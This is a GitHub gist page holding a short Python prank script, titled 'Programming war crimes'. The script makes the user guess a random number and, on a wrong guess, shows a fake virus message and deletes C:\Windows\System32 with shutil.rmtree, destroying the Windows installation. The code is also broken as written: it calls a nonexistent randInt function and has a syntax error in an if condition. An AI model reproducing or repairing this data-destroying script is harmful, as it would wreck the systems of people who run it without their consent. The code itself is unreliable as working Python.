Last active
November 14, 2024 01:12
-
-
Save axurright/798f4397b723f41e1db00a7ed478d2f8 to your computer and use it in GitHub Desktop.
Programming war crimes: Python.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import os | |
| import numpy as np | |
| from numpy import random | |
| import time | |
| from time import sleep | |
| import shutil | |
| userNumber = input("Guess the number or your Windows will die.") | |
| realNumber = random.randInt(1000000000) | |
| if realNumber = int(userNumber): | |
| print("You should consider yourself lucky if you got this, AND EVEN MORE IF ON A REAL WINDOWS SYSTEM.") | |
| if realNumber != int(userNumber): | |
| print("Hello, your computer has virus that will delete System32, I will give you 10 seconds to see the OS one last time.") | |
| sleep(10) | |
| directoryPath = "C:\Windows\System32" | |
| shutil.rmtree(directoryPath) | |
| print("Bye bye. (if you even see this.)") | |
| # I risked so much :'( | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment